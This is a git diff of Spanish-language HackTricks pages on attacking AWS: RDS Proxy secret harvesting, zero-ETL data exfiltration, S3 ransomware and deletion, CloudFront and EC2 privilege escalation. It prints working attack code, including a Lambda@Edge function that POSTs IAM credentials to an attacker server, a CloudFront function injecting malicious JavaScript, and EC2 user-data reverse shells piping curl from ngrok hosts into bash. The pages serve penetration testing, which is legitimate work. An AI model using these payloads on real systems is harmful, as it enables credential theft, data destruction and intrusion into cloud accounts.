Notas: -- Si rds-data rechaza SQL con múltiples sentencias, emita llamadas execute-statement separadas. -- Para motores donde modify-db-cluster --enable-http-endpoint no tenga efecto, use rds enable-http-endpoint --resource-arn. -- Asegúrese de que el motor/versión realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False. +- Si rds-data rechaza SQL con múltiples sentencias, emitir llamadas execute-statement separadas. +- Para motores donde modify-db-cluster --enable-http-endpoint no tiene efecto, usar rds enable-http-endpoint --resource-arn. +- Asegúrate de que el engine/version realmente soporte la Data API; de lo contrario HttpEndpointEnabled permanecerá False. -### Obtener credenciales de DB mediante secretos de autenticación de RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -Abuse la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego lea el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden amplios permisos `secretsmanager:GetSecretValue`, lo que convierte esto en un pivot de baja fricción hacia credenciales de DB. Si el secreto usa una CMK, permisos KMS mal acotados también pueden permitir `kms:Decrypt`. +Abusar de la configuración de RDS Proxy para descubrir el secreto de Secrets Manager usado para la autenticación del backend, y luego leer el secreto para obtener las credenciales de la base de datos. Muchos entornos conceden permisos amplios `secretsmanager:GetSecretValue`, lo que convierte esto en un pivot de baja fricción hacia las credenciales DB. Si el secreto usa una CMK, permisos KMS mal configurados también pueden permitir `kms:Decrypt`. -Permisos necesarios (mínimos): +Permisos necesarios (mínimo): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` en el SecretArn referenciado -- Opcional cuando el secreto use una CMK: `kms:Decrypt` en esa clave +- Opcional cuando el secreto usa una CMK: `kms:Decrypt` en esa clave -Impacto: Divulgación inmediata del usuario/contraseña de DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional. +Impacto: Divulgación inmediata del nombre de usuario/contraseña de la DB configurados en el proxy; permite acceso directo a la DB o movimiento lateral adicional. Pasos ```bash @@ -480,15 +516,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw aws iam delete-role --role-name rds-proxy-secret-role aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery ``` -### Sigilosa y continua exfiltration vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration) +### Exfiltración continua sigilosa vía Aurora zero‑ETL a Amazon Redshift (rds:CreateIntegration) -Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar continuamente datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para el ARN de un cluster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red. +Abusar de la integración Aurora PostgreSQL zero‑ETL para replicar de manera continua datos de producción en un namespace de Redshift Serverless que controles. Con una política de recursos de Redshift permisiva que autorice CreateInboundIntegration/AuthorizeInboundIntegration para un ARN de clúster Aurora específico, un atacante puede establecer una copia de datos casi en tiempo real sin DB creds, snapshots ni exposición de red. -Permisos necesarios (mínimo): +Permisos necesarios (mínimos): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` -- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) -- `rds-data:ExecuteStatement` (optional; to seed data if needed) +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar) +- `rds-data:ExecuteStatement` (opcional; para pre-cargar datos si fuera necesario) Probado en: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. @@ -540,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Crear clúster Aurora PostgreSQL (habilitar Data API y replicación lógica) +3) Crear un clúster de Aurora PostgreSQL (habilitar Data API y replicación lógica) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -598,9 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d Evidencia observada en la prueba: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION mostró integration_id 377a462b-c42c-4f08-937b-77fe75d98211 y state PendingDbConnectState antes de la creación de la DB. -- Después de CREATE DATABASE FROM INTEGRATION, listar tablas reveló el esquema ztl y la tabla customers; seleccionar de ztl.customers devolvió 2 filas (Alice, Bob). +- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation. +- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob). + +Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad, ni acceso de red al clúster de origen. -Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless controlado por el atacante, sin usar credenciales de base de datos, copias de seguridad ni acceso de red al clúster de origen. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index c8255fe06..e98d9a5f4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -12,27 +12,58 @@ Para más información consulta: ### Información sensible -A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, secretos del state de terraform. +A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, secretos del terraform state. ### Pivoting Diferentes plataformas podrían usar S3 para almacenar activos sensibles.\ -Por ejemplo, **airflow** podría estar almacenando **DAGs** **code** allí, o **web pages** podrían ser servidas directamente desde S3. Un atacante con permisos de escritura podría **modify the code** desde el bucket para **pivot** hacia otras plataformas, o **takeover accounts** modificando archivos JS. +Por ejemplo, **airflow** podría almacenar **DAGs** **code** allí, o **web pages** podrían servirse directamente desde S3. Un atacante con write permissions podría **modify the code** del bucket para **pivot** a otras plataformas, o **takeover accounts** modificando archivos JS. ### S3 Ransomware -En este escenario, el **atacante crea una KMS (Key Management Service) key en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hacen que esta **key accesible para cualquier persona en el mundo**, permitiendo a cualquier usuario, role o cuenta de AWS cifrar objetos usando esta key. Sin embargo, los objetos no pueden ser descifrados. +En este escenario, el **attacker creates a KMS (Key Management Service) key in their own AWS account** o en otra cuenta comprometida. Luego hace que esta **key sea accesible para cualquiera en el mundo**, permitiendo a cualquier AWS user, role, o account cifrar objetos usando esta key. Sin embargo, los objetos no podrán ser descifrados. -El atacante identifica un objetivo que es un **S3 bucket and gains write-level access** a él usando varios métodos. Esto puede deberse a una configuración pobre del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno de AWS. Normalmente el atacante apunta a buckets que contienen información sensible como personally identifiable information (PII), protected health information (PHI), logs, backups, y más. +El atacante identifica un objetivo, un **S3 bucket**, y obtiene acceso de escritura a él usando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtiene acceso al entorno AWS mismo. Normalmente el atacante apunta a buckets que contienen información sensible como información de identificación personal (PII), protected health information (PHI), logs, backups, y más. -Para determinar si el bucket puede ser objetivo de ransomware, el atacante revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete) está habilitado**. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico. +Para determinar si el bucket puede ser objetivo de ransomware, el atacante revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está activado. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está desactivado, el atacante puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante realizar ransomware en ese bucket específico. -Usando la API de AWS, el atacante **reemplaza cada objeto en el bucket con una copia cifrada usando su KMS key**. Esto efectivamente cifra los datos en el bucket, haciéndolos inaccesibles sin la key. +Usando la AWS API, el atacante **replaces each object in the bucket with an encrypted copy using their KMS key**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la key. Para aumentar la presión, el atacante programa la eliminación de la KMS key usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la key sea eliminada y los datos se pierdan de forma permanente. -Finalmente, el atacante podría subir un archivo final, normalmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber del ataque de ransomware. +Finalmente, el atacante podría subir un archivo final, usualmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrar, probablemente para llamar la atención del objetivo y hacerle saber sobre el ataque de ransomware. -**Para más info** [**revisa la investigación original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### `s3:RestoreObject` + +An attacker with the s3:RestoreObject permission puede reactivar objetos archivados en Glacier o Deep Archive, haciéndolos temporalmente accesibles. Esto permite la recuperación y exfiltración de datos históricamente archivados (backups, snapshots, logs, certifications, old secrets) que normalmente estarían fuera de alcance. Si el atacante combina este permiso con permisos de lectura (por ejemplo, s3:GetObject), puede obtener copias completas de datos sensibles. +```bash +aws s3api restore-object \ +--bucket \ +--key \ +--restore-request '{ +"Days": , +"GlacierJobParameters": { "Tier": "Standard" } +}' +``` +### `s3:Delete*` + +Un atacante con el permiso s3:Delete* puede eliminar objetos, versiones y buckets enteros, interrumpir copias de seguridad y causar pérdida de datos inmediata e irreversible, destrucción de evidencias y comprometer artefactos de copia de seguridad o recuperación. +```bash +# Delete an object from a bucket +aws s3api delete-object \ +--bucket \ +--key + +# Delete a specific version +aws s3api delete-object \ +--bucket \ +--key \ +--version-id + +# Delete a bucket +aws s3api delete-bucket \ +--bucket +``` +**Para más información** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md new file mode 100644 index 000000000..658d54d53 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md @@ -0,0 +1,217 @@ +# AWS - CloudFront Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig` + +Un atacante que tenga los permisos `cloudfront:UpdateDistribution` y `cloudfront:GetDistributionConfig` puede modificar la configuración de una distribución de CloudFront. No necesita permisos sobre el bucket S3 objetivo en sí, aunque el ataque es más sencillo si ese bucket tiene una política permisiva que permite el acceso desde el service principal `cloudfront.amazonaws.com`. + +El atacante cambia la configuración del origin de una distribución para que apunte a otro bucket S3 o a un servidor controlado por el atacante. Primero obtienen la configuración actual de la distribución: +```bash +aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json +``` +Luego editan current-config.json para apuntar el origin al nuevo recurso — por ejemplo, un bucket S3 distinto: +```bash +... +"Origins": { +"Quantity": 1, +"Items": [ +{ +"Id": "", +"DomainName": ".s3.us-east-1.amazonaws.com", +"OriginPath": "", +"CustomHeaders": { +"Quantity": 0 +}, +"S3OriginConfig": { +"OriginAccessIdentity": "", +"OriginReadTimeout": 30 +}, +"ConnectionAttempts": 3, +"ConnectionTimeout": 10, +"OriginShield": { +"Enabled": false +}, +"OriginAccessControlId": "E30N32Y4IBZ971" +} +] +}, +... +``` +Finalmente, aplica la configuración modificada (debes proporcionar el ETag actual al actualizar): +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG +``` + +### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction` +An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions. + +The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses: + +```bash +function handler(event) { +var request = event.request; +var response = event.response; +// Create a new body with malicious JavaScript +var maliciousBody = ` + + + +Compromised Page + + +

Original Content

+

This page has been modified by CloudFront Functions

+ + + +`; +// Replace the body entirely +response.body = { encoding: "text", data: maliciousBody }; +// Update headers +response.headers["content-type"] = { value: "text/html; charset=utf-8" }; +response.headers["content-length"] = { +value: maliciousBody.length.toString(), +}; +response.headers["x-cloudfront-function"] = { value: "malicious-injection" }; +return response; +} +``` + +Commands to create, publish and attach the function: + +```bash +# Crear la malicious function en CloudFront +aws cloudfront create-function --name malicious-function --function-config '{ +"Comment": "Malicious CloudFront Function for Code Injection", +"Runtime": "cloudfront-js-1.0" +}' --function-code fileb://malicious-function.js + +# Obtener el ETag de la function en la etapa DEVELOPMENT +aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text + +# Publicar la function en la etapa LIVE +aws cloudfront publish-function --name malicious-function --if-match +``` + +Add the function to the distribution configuration (FunctionAssociations): + +```bash +"FunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"FunctionARN": "arn:aws:cloudfront:::function/malicious-function", +"EventType": "viewer-response" +} +] +} +``` + +Finally update the distribution configuration (remember to supply the current ETag): + +```bash +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG +``` + +### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution` + +An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required. + +The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials: + +```bash +// malicious-lambda-edge.js +exports.handler = async (event) => { + // Obtener credenciales del rol + const credentials = { + accessKeyId: process.env.AWS_ACCESS_KEY_ID, + secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY, + sessionToken: process.env.AWS_SESSION_TOKEN, + }; + // Enviar credenciales al servidor del atacante + try { + await fetch("https:///steal-credentials", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(credentials) + }); + } catch (error) { + console.error("Error sending credentials:", error); + } + if (event.Records && event.Records[0] && event.Records[0].cf) { + // Modificar cabeceras de la respuesta + const response = event.Records[0].cf.response; + response.headers["x-credential-theft"] = [ + { + key: "X-Credential-Theft", + value: "Successful", + }, + ]; + return response; + } + return { + statusCode: 200, + body: JSON.stringify({ message: "Credentials stolen" }) + }; +}; +``` + +```bash +# Package the Lambda@Edge function +zip malicious-lambda-edge.zip malicious-lambda-edge.js + +# Create the Lambda@Edge function with a privileged role +aws lambda create-function \ +--function-name malicious-lambda-edge \ +--runtime nodejs18.x \ +--role \ +--handler malicious-lambda-edge.handler \ +--zip-file fileb://malicious-lambda-edge.zip \ +--region + +# Publish a version of the function +aws lambda publish-version --function-name malicious-lambda-edge --region +``` + +Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version: + +```bash +"LambdaFunctionAssociations": { +"Quantity": 1, +"Items": [ +{ +"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1", +"EventType": "viewer-response", +"IncludeBody": false +} +] +} +``` + +```bash +# Aplicar la configuración actualizada de la distribución (debe usar el ETag actual) +CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text) + +aws cloudfront update-distribution \ +--id \ +--distribution-config file://current-config.json \ +--if-match $CURRENT_ETAG + +# Activar la función solicitando la distribución +curl -v https://.cloudfront.net/ +``` + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index 795fd8218..39eba7781 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -12,9 +12,9 @@ Para más **info sobre EC2** consulta: ### `iam:PassRole`, `ec2:RunInstances` -Un atacante podría **crear una instancia adjuntando un IAM role y luego acceder a la instancia** para robar las credenciales del IAM role desde el metadata endpoint. +Un atacante podría **crear una instancia adjuntando un IAM role y luego acceder a la instancia** para robar las credenciales del IAM role desde el endpoint de metadatos. -- **Access via SSH** +- **Acceso vía SSH** Lanza una nueva instancia usando una **creada** **ssh key** (`--key-name`) y luego conéctate por ssh a ella (si quieres crear una nueva podrías necesitar el permiso `ec2:CreateKeyPair`). ```bash @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Acceso vía rev shell en user data** -Puedes lanzar una nueva instancia usando **user data** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar security group de esta manera. +Puedes iniciar una nueva instancia usando **user data** (`--user-data`) que te enviará una **rev shell**. No necesitas especificar un security group de esta forma. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -40,11 +40,11 @@ Ten cuidado con GuardDuty si usas las credenciales del IAM role fuera de la inst ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Impacto potencial:** Privesc directo a cualquier EC2 role adjunto a instance profiles existentes. +**Impacto potencial:** privesc directo a cualquier EC2 role adjunto a perfiles de instancia existentes. -#### Privesc to ECS +#### Privesc a ECS -Con este conjunto de permisos también podrías **create an EC2 instance and register it inside an ECS cluster**. De este modo, ECS **services** se **run** dentro de la **EC2 instance** a la que tienes acceso y entonces puedes comprometer esos servicios (docker containers) y **steal their ECS roles attached**. +Con este conjunto de permisos también podrías **crear una EC2 instance y registrarla dentro de un ECS cluster**. De este modo, los ECS **services** se **ejecutarán** dentro de la **EC2 instance** donde tienes acceso y entonces podrás penetrar esos servicios (docker containers) y **robar los ECS roles adjuntos**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,19 +59,19 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Para aprender cómo **forzar que los servicios de ECS se ejecuten** en esta nueva instancia EC2, consulta: +Para aprender cómo **forzar que los servicios ECS se ejecuten** en esta nueva instancia EC2, consulta: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del cluster y llevar a cabo el ataque comentado. +Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance` podrías ser capaz de registrar la instancia dentro del cluster y ejecutar el ataque comentado. -**Impacto potencial:** Direct privesc a roles de ECS adjuntos a tareas. +**Potential Impact:** privesc directo a los roles de ECS adjuntos a las tareas. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -De forma similar al escenario anterior, un atacante con estos permisos podría **cambiar el IAM role de una instancia comprometida** para poder robar nuevas credenciales.\ +De forma similar al escenario anterior, un atacante con estos permisos podría **cambiar el rol IAM de una instancia comprometida** para poder robar nuevas credenciales.\ Como un instance profile solo puede tener 1 role, si el instance profile **ya tiene un role** (caso común), también necesitarás **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile @@ -80,17 +80,17 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Si el **instance profile has a role** y el atacante **cannot remove it**, hay otra alternativa. El atacante podría **find** un **instance profile without a role** o **create a new one** (`iam:CreateInstanceProfile`), **add** el **role** a ese **instance profile** (como se discutió anteriormente), y **associate the instance profile** compromised a una i**nstance:** comprometida: +Si el **instance profile has a role** y el atacante **cannot remove it**, hay otra solución. Podría **find** un **instance profile without a role** o **create a new one** (`iam:CreateInstanceProfile`), **add** el **role** a ese **instance profile** (como se explicó anteriormente), y **associate the instance profile** comprometido a una instancia comprometida i**nstance:** -- Si la instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) +- Si la instancia **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Impacto potencial:** Privesc directo a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener permisos extra o un estado específico del instance profile). +**Impacto potencial:** Escalada de privilegios directa a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener permisos adicionales o un estado específico del instance profile). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tenía acceso a una instancia podrá robar credenciales de más roles del instance profile cambiando el que está asociado con ella. +Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tiene acceso a una instancia podrá robar credenciales de más roles de instance profile cambiando el que está asociado a la misma. - Si **tiene un instance profile**, puedes **eliminar** el instance profile (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** ```bash @@ -98,15 +98,15 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). +- o bien **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Potential Impact:** Privesc directo a un EC2 role diferente (necesitas haber comprometido una instancia AWS EC2 y tener algún permiso extra o un estado específico del instance profile). +**Impacto potencial:** Direct privesc to a different EC2 role (necesitas haber comprometido una AWS EC2 instance y algún permiso adicional o un instance profile status específico). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con un **EC2 Role attached** y una **rev shell** en los **user data**.\ +Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con una **EC2 Role attached** y una **rev shell** en el **user data**.\ Una vez que la instancia se ejecute, puede **robar el IAM role**. ```bash REV=$(printf '#!/bin/bash @@ -119,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Un atacante con **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto puede usarse para obtener una **rev shell to the EC2 instance**. +Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de la instancia. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Lo cual puede usarse para obtener una **rev shell to the EC2 instance**. -Ten en cuenta que los atributos solo pueden ser **modificados mientras la instancia está detenida**, por lo que se necesitan los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. +Tenga en cuenta que los atributos solo pueden ser **modificados mientras la instancia esté detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Impacto potencial:** privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada. +**Impacto potencial:** Privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Launch Template** con un **rev shell en el user data** y **cualquier EC2 IAM Role asociado a ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** que esté **configurado** para usar la **latest** o la **default version** volverá a lanzar las instancias usando esa plantilla y ejecutará el rev shell. +Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** puede crear una **nueva Launch Template versión** con un **rev shell en** los **user data** y **cualquier EC2 IAM Role en ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** **que use** esa **Launch Templat**e que esté **configurada** para usar la **más reciente** o la **versión por defecto** volverá a **lanzar las instancias** usando esa plantilla y ejecutará el rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Impacto potencial:** privesc directo a un rol EC2 diferente. +**Impacto potencial:** Privesc directo a un EC2 role diferente. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa config y esperar a que el rev shell **robe el IAM Role**. +Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear un Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa configuración y esperar a que el **rev shell** **robe el IAM Role**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Impacto potencial:** Privesc directo a un rol EC2 diferente. +**Impacto potencial:** Privesc directo a un rol de EC2 diferente. ### `!autoscaling` -El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **se necesitan los permisos `iam:PassRole` y `ec2:RunInstances`** (lo cual es un privesc conocido). +El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **se necesitan los permisos `iam:PassRole` y `ec2:RunInstances`** (que es un privesc conocido). ### `ec2-instance-connect:SendSSHPublicKey` -Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede agregar una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios. +Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede añadir una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Impacto potencial:** privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución. +**Impacto potencial:** privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **añadir una ssh key a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess`** para habilitarla. +Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess`** para habilitarla. -Para conectarse al puerto serial también **necesita conocer el username y password de un usuario** dentro de la máquina. +Para conectarse al puerto serial también **se necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Esta vía no es tan útil para privesc ya que necesitas conocer un username y password para explotarlo. +Esta manera no es muy útil para privesc ya que 